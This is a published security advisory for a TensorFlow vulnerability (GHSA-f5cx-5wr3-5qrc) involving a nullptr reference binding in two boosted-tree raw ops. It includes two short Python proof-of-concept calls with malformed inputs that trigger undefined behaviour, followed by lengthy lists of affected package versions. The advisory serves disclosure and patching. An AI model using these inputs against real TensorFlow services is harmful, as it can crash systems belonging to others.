GHSA-f5cx-5wr3-5qrc

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Source
https://github.com/advisories/GHSA-f5cx-5wr3-5qrc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-f5cx-5wr3-5qrc/GHSA-f5cx-5wr3-5qrc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-f5cx-5wr3-5qrc
Aliases
Published
2021-08-25T14:42:26Z
Modified
2023-12-06T00:46:21.222836Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H CVSS Calculator
Summary
Reference binding to nullptr in boosted trees
Details

Impact

An attacker can generate undefined behavior via a reference binding to nullptr in BoostedTreesCalculateBestGainsPerFeature:

import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
  node_id_range=[],
  stats_summary_list=[[1,2,3]],
  l1=[1.0],
  l2=[1.0],
  tree_complexity =[1.0],
  min_node_weight =[1.17],
  max_splits=5)

A similar attack can occur in BoostedTreesCalculateBestFeatureSplitV2:

import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
  node_id_range=[],
  stats_summaries_list=[[1,2,3]],
  split_types=[''],
  candidate_feature_ids=[1,2,3,4],
  l1=[1],     
  l2=[1],
  tree_complexity=[1.0],
  min_node_weight=[1.17],
  logits_dimension=5)

The implementation does not validate the input values.

Patches

We have patched the issue in GitHub commit 9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad and in commit. 429f009d2b2c09028647dd4bb7b3f6f414bbaad7.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.2.3
2.3.0
2.3.1
2.3.2
2.3.3

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.3

Affected versions

2.*

2.4.0
2.4.1
2.4.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.0
Fixed
2.5.1

Affected versions

2.*

2.5.0